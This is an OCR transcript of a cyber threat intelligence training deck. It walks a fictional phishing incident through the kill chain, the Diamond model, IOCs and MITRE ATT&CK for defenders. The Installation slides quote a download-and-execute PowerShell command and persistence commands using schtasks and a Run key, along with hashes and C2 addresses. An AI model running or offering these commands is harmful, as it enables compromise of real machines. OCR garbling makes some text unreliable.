CTI in practice

Setting a cyber incident into CTl frameworks
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What is CTI?

Knowledge of adversaries and their malicious behaviours

Good CTI

o improves detection

o improves response and reduces adversary dwell time

o reduces mean time to recovery

o enables decision-making before, during and after a cyber security incident

Mandiant APT1 report from 2013 often cited as a key report in CTI history

o
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https://www.mandiant.com/resources/apt1-exposing-one-of-chinas-cyber-espionage-units

CTl: Three categories of CT]

Threat intel type

Audience

Description

Tactical Security operations Technical indicators and behaviors to inform network
Network defenders level action and remediation
Incident reponse

Operational Threat hunters Intelligence on adversary behavior informing: holistic
Incident response remediation, threat hunting, behavioral detection,
Security leadership purchasing decisions, and data collection.

Strategic Security leadership Places threat into a business context and describes

Organization’s leadership

strategic impact informing risk management and
organizational direction.

Zdroj: Sergio Caltagirone (2018): Industrial Control Threat Intelligence
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Two elements of CTI

1.

2.

Context
Enables defenders to identify whether they should care enough to take an action quickly

Context usually includes:

description of adversary behaviour throughout the kill chain
description of diamond model features

description of network analysis, malware analysis, host and log activity
timelines

impact assessment

geopolitical and strategic info

o O O O O O

Guidance for action
Without the guidence for action, threat intelligence lacks impact and tends to be useless
Facilitate recovery - very little emphasis on "when it happens, this is what you do,,
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CTI: Attribution

 Not a necessary part of CTlI

o CTlin general

 Relevant to law enforcement and policy decisions, not so much to network defenders

* Attribution is hard! ATTRIBUTION .

 Tryto avoid half-measures
o hot enough to say it was Russia
o FancyBear x Sandworm




The three CTlI models: Setting data into context

e Kill chain

e Diamond model



Kill chain

 Lockheed Martin whitepaper from 2011

e A seven-step process

o o O O O O O

Recoinnassance
Weaponization

Delivery

Exploitation

Installation

Command and Control (C2)
Actions on Objectives

RECTINNAISSANECE

Harvesting email addresses,
conference information, etc

Delivering weaponized bundle to the
victim via email, web, USB, etc

ACTIONS ON DBJIECTIVES

With "Hands on Keyboard' access,
intruders accomplish their original goals

©

o CTlin general
o Kill chain

o Diamond model

o loC
CULJD|-I’|€_(,‘)(‘DIOI(WRH backdoor o Threat
into deliverable payload .
behaviour

o Courses of
Action

EXPLOITATION

Exploiting a vulnerability to execute
code on victim's system

COMMAND & CONTROL (C2)

Command channel for remote
manipulation of victim

zdroj: DefenseOnline


https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf

Kill chain: Reconnaissance

 The steps that attackers might take:

O

©)
©)
©)

|dentification of targets

Looking for information on specific technologies
Acquisition of infrastructure

Acquisition of tools

e Adifficult stage of the Kill Chain to discover and detect

 Ways in which to identify aspects of reconnaissance

O

O

Web analytics (but very hard)
Monitoring of new funky domains
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Kill chain: Reconnaissance

*DHA against mailserver
> Public: mx.test.org - IP: 1.2.101.102
> Private: mx.test.lan - IP: 10.0.1.5
eHarvested e-mail addresses

o adela@test.org - username: test.lan\adela - IP: 10.0.5.19 - wks1.test.lan - User
o bruno@test.org - username: test.lan\bruno - IP: 10.0.5.20 - wks2.test.lan - Admin

o cecil@test.org - username: test.lan\cecil - IP: 10.0.5.21 - wks3.test.lan - User

eSource of the attacks
> mx.infrastructurel.com - IP: 185.185.120.120
o mx.infrastructure2.com - IP: 185.185.121.121
*DHA took place on 13th Oct 1987 btw 02:00 a 04:00

=

~
o

*DHA against mailserver
Public: mx.test.org - IP: 1.2.101.102
Private: mx.test.lan - IP: 10.0.1.5
eSource of the attacks
mx.infrastructurel.com - IP: 185.185.120.120
mx.infrastructure2.com - IP: 185.185.121.121
eHarvested e-mail addresses
adela@test.org - username: test.lan\adela - IP: 10.0.5.19 - wks1.test.lan

(user)

bruno@test.org - username: test.lan\bruno - IP: 10.0.5.20 - wks2.test.lan
(Admin)

cecil@test.org - username: test.lan\cecil - IP: 10.0.5.21 - wks3.test.lan -
(user)

*DHA took place on 13th Oct 1987 btw 02:00 a 04:00
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Kill chain: Weaponization

* Preparation of the toolset to meet the specific requirements of the target network
* Based on the intelligence gathered in the reconnaissance phase

o Exploit kits built to take advantage of a certain vulnerability

o CTlin general

o Kill chain

o Diamond model
o loC

o Threat

= Artifacts left by this process behaviour

a

Courses of
Action

e}

Fingerprints left by weaponization tools (e.g. some component modules of Metaspolit)

o The right packaging for phishing e-mails

Artifacts left by this process

a

Q
Q
Q

Author metadata field

Document created metadata

Original document title metadata field
Original document path

11



Kill chain: Weaponization

*DHA against mailserver
Public: mx.test.org - IP: 1.2.101.102
Private: mx.test.lan - IP: 10.0.1.5
eHarvested e-mail addresses

adela@test.org - username: test.lan\adela - IP: 10.0.5.19 - wks1.test.lan - User
bruno@test.org - username: test.lan\bruno - IP: 10.0.5.20 - wks2.test.lan - Admin
cecil@test.org - username: test.lan\cecil - IP: 10.0.5.21 - wks3.test.lan - User

eSource of the attacks
mx.infrastructurel.com - IP: 185.185.120.120
mx.infrastructure2.com - IP: 185.185.121.121
*DHA took place on 13th Oct 1987 btw 02:00 a 04:00

=

g
¢
S

E-mail with a malicious attdchement containing VBA macros

— | E-mail with a malicious attachement containing VBA macros

12



Kill chain: Delivery

* All the tools and infrastructure related to transmitting the weapon to the target

o CTlin general

 Common delivery vectors:

o Kill chain

. o Diamond model
o E-mail
. . o loC
= Artifacts left by this process

. o Threat

a e'mall bOdy behaviour

a VICtImS' e'ma|| o Courses of
. Action

o e-mail address used by the attacker )

o time when the e-mail was sent

o hame and IP address of attacker’s mailserver

o Download
= Artifacts left by this process
o last modified date of the page used to deliver malware
o webserver type
o mechanism used to embed the weaponized payload (eg. iframe, JavaScript)

o Physical media (USB devices)

13



Kill chain: Delivery

*DHA against mailserver
Public: mx.test.org - IP: 1.2.101.102
Private: mx.test.lan - IP: 10.0.1.5
eHarvested e-mail addresses
adela@test.org - username: test.lan\adela - IP: 10.0.5.19 - wks1.test.lan - User
bruno@test.org - username: test.lan\bruno - IP: 10.0.5.20 - wks2.test.lan - Admin
cecil@test.org - username: test.lan\cecil - IP: 10.0.5.21 - wks3.test.lan - User
eSource of the attacks
mx.infrastructurel.com - IP: 185.185.120.120
mx.infrastructure2.com - IP: 185.185.121.121
*DHA took place on 13th Oct 1987 btw 02:00 a 04:00

=

- |

Phishing e-mails sent to

o adela@test.org

o bruno@test.org

o cecil@test.org
E-mail received

o 16th Oct 1987 09:31
Source

o mx.attacker.org

o IP:105.58.57.56

=~

To: brunc@test.org

VaZeny zamEstnanie firmy Test.org,

Test.org

Zaméztnavatel

From: ZamEstnawvatel <attacker@attacker.org:

Subject: Wyhral jste v letoiZnim slosovani!

v kafdorofnim slosovdni jste zrowna vy letos obdriel 13. plat.

Jak se o plat prihlésit a daliZi pokyny zjistite v pFiloze.

v
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Kill chain: Exploitation

* After the weapon is delivered to the victim, exploitation triggers the malicious code

o CTlin general

o Technical exploit: Exploitation of a vulnerability o Killchain
o Human exploit: The user is exploited through social engineering o Diamond model
o loC
* What to look for? ® behaviour
ope o Courses of
o In case of a vulnerability: Action

= CVE identifiers of the exploited vulnerability
=  Means for exploiting the vulnerability
o Eg. Shell code and its characteristics

o In case of phishing with a malicious attachement
= Features of a malicious attachement

15



Kill chain: Exploitation

*DHA against mailserver
> Public: mx.test.org - IP: 1.2.101.102
> Private: mx.test.lan - IP: 10.0.1.5
eHarvested e-mail addresses

Phishing e-mails sent to
o adela@test.org
o bruno@test.org

o adel
o brun
o cecil
eSource of t
o  mx.i
o  mx.i
*DHA took

<

On 16.10.187 at 10:49, user test.lan\bruno ran macro documents

under administrator's account

o Name: Supervyhra.docx

o Size: 165 kB

o MD5: db1aba972f5dc0806966046ed7cc8330

o SHA1: 117d8179911c20e0a348d5elcc629eb48f741bae

o SHA256:b0e2c5012b0b66a98df3e5f942a839a75c4d02fb206727f94a026ee5
3d897f5
Sample: 6137080140038144.zip

O

A 4

E-mail with a malicious attachment containing VBA macros

v

On 16.10.187 at 10:49, user test.lan\bruno ran macro documents under
administrator's account

O O O O O

Name: Supervyhra.docx

Size: 165 kB

MD5: db1aba972f5dc0806966046ed7cc8330

SHA1: 117d8179911c20e0a348d5elcc629eb48f741bae
SHA256:b0e2c5012b0b66a98df3e5f942a839a75c4d02fb206727f94a0
26ee53d897f5

o Sample: 6137080140038144.zip

Pass: infected

16



Kill chain: Installation

* Associated with persistence and invocation

e Common examples of the installation phase:

Filenames
Directories
Registry keys
Registry values

o O O O

* Droppers
o Infrastructure hosting the backdoor
o Mechanism to transfer it
o All the related characteristics

CTlin general
Kill chain
Diamond model
loC

Threat
behaviour

Courses of
Action
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Kill chain: Installation

Macro in the doc downloaded at 16th Oct 1987 from hXXps://185.185.100.101/afgk/SV.dll

Macro in the doc contained PS script: powershell.exe -command PowerShell -ExecutionPolicy bypass
-noprofile -windowstyle hidden -command (New-Object
System.Net.WebClient).DownloadFile('hXXps://185.185.100.101/afgk/SV.dll',"Senv:APPDATA\bubu.
exe");Start-Process ("Senv:APPDATA\bubu.exe")

Name: bubu.exe

= Path: C:\Users\bruno\AppData\Local\bubu\bubu.exe
Size: 272,5 kB
- m MD5: e27554923034da41d8fefbf6bfcabbae
SHA1: 994¢8920180d0395c4b4eb6e7737961be6108f64

SHA256: 6868cdac0f06232608178b101ca3a8afda7f31538a165a04.....
Sample: 4913449103818752.zip

Persistence:

Scheduled tasks - schtasks /create /tn "mysc" /tr C:\Users\bruno\AppData\Local\bubu\bubu.exe /sc
ONLOGON /ru "System,,

Regkey Run - HKCU\Software\Microsoft\Windows\CurrentVersion\Run /d
C:\Users\bruno\AppData\Local\bubu\bubu.exe

18



Kill chain: Command and Control (C2)

e Establishing communication between the victim system and the adversary

o O O O

Carrier protocol
Embedded protocol
Infrastructure

Operating mode characteristics

Connectivity checking
Beaconing

CTlin general
Kill chain
Diamond model
loC

Threat
behaviour

Courses of
Action
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Kill chain: C2

S

@
=

National Cyber and Information Securit

@)

v

Process budubudu communicated in the timeframe from 16th Oct 1987
10:55 to 21th Oct 1987 21:05 with three C2 servers on port 80:
105.58.52.32
105.58.41.42
105.58.43.22
Communicated via HTTP methods GET and POST
GET /asdf/budesbubuvole
POST /fdsa/nebudububuvole

20



Kill chain: Actions on Objectives

e All actions the adversary takes over the established C2 channel are Actions on Objectives

* Some examples:

@)

o O O O

o CTlin general
o Kill chain
o Diamond model

Additional tools transfered to the victim IOT facilitate objectives such as

o loC

o Privilege escalation tools A
behaviour

o Keystroke loggers o

o Password hash stealers Action

Exfiltration of files
Modification of files
Wiping the system
Encrypting data

21



Kill chain: Actions on Objectives

From host 10.0.5.20 the attackers ran:
Commands
Whoami/all
Net view
tool Bloodhound
tool Mimikatz
Lateral movement via WinRM to machine files.test.lan —1P:10.0.1.20
Data exfiltration from files.test.lan to C2 server 105.58.43.22
from 17th OCT 1987 from 21th Oct 1987 always at 10AM and 2PM

v

22



Diamond model

 paper ,The Diamond Model of Intrusion

Analysis*

o https://www.activeresponse.org/wp- o Diomond model
content/uploads/2013/07/diamond.pdf .
Adversary .

* For every intrusion event, there exists an
adversary taking a step toward an
intended goal by using a capability over Capabilities Infrastructure
infrastructure against a victim to produce
a result.

Victim

* Diamond model in public analysis

23


https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf
https://www.cybereason.com/blog/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms

Diamond model

* nformation about the individual or
group behind the attack
* motivation/intent

I :

o Diamond model
Adversary T

» |P addresses

Capabilities Infrastructure — - domains
« C2infrastructure

* tools
 TTPs

Victim

|

* person/organization

« countries of their origins, sector

» systems and networks of interest
to adversaries

24



Kill chain x Diamond Model

0 *)

o cc_ecnl@t_est-org o IP: 105.58.57.56
E-mail received

o 16.10.1987 09:31

Victim:
o adela@test.org Phishing infrastructure
o bruno@test.org \/ o mx.attacker.org

25
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CTl: Threat Intelligence Action

Elements of actionable CTI products:
* loCs

* Threat behaviour
o MITRE ATTACK

* Courses of Action

* Recovery plans

26



IOC: What are they?

Data

10.25.0.1

Context

C2 node

Indicator

Indicator

27



IOC: What are common |oCs?

loC
/\ o Diamond model
o loC
Network observations Host items o Threat
behaviour
Domains _ Files and malware observables
* Registration details * File hashes
* Naming conventions e Paths to files
_ * Creation artifacts
Hosting/IPs « Strings
* Hosting providers «  Encoding, packing, or obfuscation
» Hosting location methods
* Exposed services . etc

 Server type

28



|OC: Grab-and-Block approach

o CTlin general
o Kill chain
o Diamond model

o loC

READ .
OME BLOG QQQK o Threat

behaviour

100K FOR .
ANEW]UB o Courses of
CYBER THREAT INTELLIGENCE

e —

Action

BLOCK ALL
THE THINGS Y

Source: Joe Slowik's Twitter account

National Cyber and Information Security Agency, Michaela Roj¢ikova, TLP: WHITE 29



|OC: Why are they useful?

* Are designed to be compared with organizational logs to identify historical compromises
o Need to include timeframes

o Diamond model

o loC

* But not a good detection tool for new threats (unless you are facing a very lazy o Thret
adversary)

30



CTIl: Pyramid of Pain

A eTough! .

Tools  eChallenging o oc
NEtWDrk/ . behaviour
Host Artifacts 'Annoymg o
Domain Names eSimple

AN EEEE, eosy
A0 e Triva

source: The Pyramid of Pain | Enterprise Detection & Response (detect-respond.blogspot.com)

31


http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html

IOC: Why are they useful?

IOCs a good starting point for investigation

g Pivoting from 1oCs can yield behavioural patterns

Behavioural pattens yield information for actionable
> defence

loC

32



CTl: loCsvs TTPs

Block an indicator

Backward-looking approach
Eliminate a very specific threat
Limited to a single instance of that
threat

Trivial to change and modify

&3

ldentify and detect behaviour

Diamond model

Forward-looking approach
Defend against entire classes of

attacks behaviour
More initial work than blocking o

an loC, but more lasting

Enables long-term defense

against adversary tradecraft

loC

e} e} e} e} e}

33



TTPs: MITRE ATT&CK

MITRE ATT&CK

Knowledge base of
adversary behaviour

MITRE ATT&CK®

Used in the community to
speak the same language

> A eTough!

Tools eChallenging

Network/ .
Host Artifacts *An noying
Domain Names eSimple

source: The Pyramid of Pain | Enterprise Detection & Response (detect-respond.blogspot.com)

Diamond model
loC

Threat
behaviour

34


https://attack.mitre.org/
http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html

TTPs in our incident

T1078: Valid Accounts == T1078.002: Domain Accounts
Initial &ccess —(

T1566:Phishing == T1566.001: Spearphishing Attachment o

Diamond model

T105%: Command and Scripting Interpreter == T1059.001: PowerShell
Execution —(

T1204: User Execution ={ = T1204.002: Malicious File o o€

Threat

behaviour
T1547: Boot or Logon Autostart Execution ={= T1547.001: Registry Run Keys/ Startup Folder

Fersistence —(

SN

T1053: Scheduled Task/Job == T1053.005: Scheduled task

87' cyber incident
Credential Access —0— T1003: Credential Dumping

T1033: Systern Owner/User Discovery
Discovery 4((

T1035: Netweork Share Discovery

// |

T1071: Application Layer Protocol == T1071.001: Web Protocols
Command and Control —<

T1043: Commonly Used Port
Exfiltration T1041: Exfiltration over C2 Channe

35



TTPs: MITRE ATT&CK use cases

* Detection and mitigation of an adversary group

Techniques Used o

Domain ID Name Use

o Threat
behaviour

Enterprise  T1071 .0017 Application Layer APT41 used HTTP to download payloads for CVE-2019-19781
Protocol: Web Protocols  and CVE-2020-10189 exploits.“

.002  Application Layer APT41 used exploit payloads that initiate download via FTPM
Protocol: File Transfer
Protocols

.004  Application Layer APT41 used DNS for C2 communications.["/[?!

Protocol: DNS

Enterprise  T1560 .001 Archive Collected Data: APTA41 created a RAR archive of targeted files for exfiltration.!'
Archive via Utility

Enterprise  T1197 BITS Jobs APT41 used BITSAdmin to download and install payloads. 4/

36



TTPs: MITRE ATT&CK use cases

Threat intelligence

1 .
{

|

]
ii‘i‘ﬁli

(—
Legend [ APT29
 —

Comparing APT28 to APT29

o Diamond model

o loC

o Threat

behaviour

37



TTPs: MITRE ATT&CK use cases

Registry Run Keys
THIS is what the | Startup Folder

The Run key is

AdobeUpdater. ATT&CK
®

: - Oh, we have
adversary is doing! (T1060) Registry data, we

can detect that!

. Defender

source: MITRE ATTACK

o Threat

behaviour

38



TTPs: MITRE ATT&CK use cases

* Adversary emulation

o
o
[ nitlAccess | Execuion | Persstence | CredentilAccess | Discovery | Lateral Movement | Gollection | Command and Conirol | - impact
Dirive-bw € i hechued Task Network Sni AppleScri Pudio Capiure Commoniy Used Port Data Destruction o Diamond model
Exploit Pubiic-Facing Launchet! ipulaty ‘Account Manipulati € Acoount Di% p, " Automated Collection Communicaton Through Data Encypted for Impact
Applcation Local Job Scheduling Bash Hiﬁ"Em ! Saftwa Clipboard Data Removable Media Def:
External Remole Services LSASS Driver i ject BT POy, Discovery Diata from Information C Proxy Dk Content Wipe o loC
Hardware: Addiions Trap j Credential Dumping Browser Bookmark Jodel Repositories Custom Command & Disk Structure Wi
jcation Through i . Discovery i Data from Local System Wlﬂﬂ Network Med Endpaint Denial of Senice
CMETR ] i o D i [ in Registry Domain Trust Discovery i Data fram Network '_.ﬁ.a\ﬁ"c'wpm Exfil Firmware Comuption o Threat
[{ Spearphishing Attachment | Command-Line Interiace Plist i L~ itation for File and Directory Discovery Shared Drive == Pratocol Inhibit Recove
aoals Compled HTNL Fie i niial Access Network Sendce Scanning Date from e hieda Dats Encodng " Network Denial of Serice behaviour
ishing via Senvice i Forced A i Network Share Discovery Staged Data Oy Resource Hiacking
Supply Chain Compromiss AppCert [ Hoaking Password Policy Discovery - Domain Fronting Runtime Data Manipulation
Trusted Relatonshp e Input Capture Penpheral Device Diacovery i Domain Service Stop [e)
Valid Accounts ANgicati ing # Input Prompt Permission Groups Decovery | — Algerithms Stored Data Mani
lic Hia - . Kerberoasting Process Discovery i Caplure Falloack Channels Transmitied Data
Compaonent Firmwane Keychan Ciuery Discovery Remi I Multband C: icati Manipulation

C

Object Model | LLMM iscning | Remote System Discavery Muli-hap Proxy
Hijacking and Rel Security Seftware Discavery jalki Muttlayer Encryption
Control Panel ems Password Filter DLL Systam Ir k Multi-Stage Channels

Path Interception DCShadow Private Keys Discovery Port Knocking
Port Meonitors Deabfuscate/Decade Fies Secunityd Memaory mem Network i Remote Access Tools
Sanvice Registry Permi ek of Infarmation Two-Facter Authentication Canfjuration Discovery Remote |
Seid and Satgid Disabling Secunty Tooks Intercaption System Netwerk Standard Appiication Layer)
Startup Hems DLL Skde-Loading ions Dist Protocol
Web Shell Execubion Cuardrals System sar ‘Standard Cryplagraphic
bash_profile and bashrc itation for Exploitation for Discovery me
Signed Binary ‘Acoount Maniputation Privilege Escalaion Defense Evasion Syatem Service Discovery Standard Non-Application
Proxy Execution Authentication Package S10-History Injection File Deletion System Time Discovery Layer Protocol
Signed Script BITS Jobs Sudo File Permissions Virtualization/Sandbox Uncommanly Used Port
Proxy Execution Boatkit Sugo Caching Modification Evasion Web Service
Source Browser Extensions File Sysiem Logical Offsets
Space after Flename Change Default Gatekeeper Bypass
Third-party Software. File Associafion Group Policy Modification
Trusted Developer Utlites C Firmware Hidden Files and Direclories

39



Courses of Actions

CoA helps to answer questions:

@)

@)
@)
@)

What is the action for each indicator?
What options do | have available?
What capabilities do | lack?

Where should | focus investment?

Discover Detect Deny Disrupt

Recon

Weapon

| S
Deliver Ca"o‘
Exploit

Install ﬁ?S

C2

Aol

Degrade

Deceive

Destroy

Diamond model
loC

Threat
behaviour

Courses of
Action
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Courses of Actions in our incident

Discover

Recon

Weapon

Deliver

Exploit

Install

C2

AoO

mx.infrastructurel.com
IP: 185.185.120.120
mx.infrastructure2.com
IP: 185.185.121.121

mx.attacker.org
IP: 105.58.57.56

Supervyhra.docx (+ hashes)

hXXps://185.185.100.101/afgk/SV.dlI

bubu.exe + characteristics

schtasks /create /tn "mysc" /tr
C:\Users\bruno\AppData\Local\bubu\bubu.exe /sc ONLOGON /...
HKCU\Software\Microsoft\Windows\CurrentVersion\Run /d
C:\Users\bruno\AppData\Local\bubu\bubu.exe

105.58.52.32
105.58.41.42
105.58.43.22

Detect Deny

mx.infrastructurel.com
IP: 185.185.120.120
mx.infrastructure2.com
IP: 185.185.121.121

VBA Macros

mx.attacker.org
IP: 105.58.57.56

105.58.52.32
105.58.41.42
105.58.43.22

Block credential
stealing from
LSASS



Obstacles to CTI

* Lack of data
o Organizations do not have appropriate tools, e.g. for logging, network monitoring
o Dependency on data from others (in case you‘re a gov organization)

e Lack of people
e Lack of data correlation
 C(CTlis expensive (tools, data)

* Lack of management support
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Conclusion

CTl is proactive activity focused on preventing future threats

CTl alone cannot protect critical assets but it complements every aspect of cyber security

* Proactively prevent
through policy,

education, and
technology

Respond

= Mitigate detected
threats lhrough
incident respunse

Idenhfy active threats
using threat behavior

analyhcs

Source: Sergio Caltagirone (2018): Industrial Control Threat Intelligence

National Cyber and Information Security Agency, Michaela Rojéikova, TLP: WHITE
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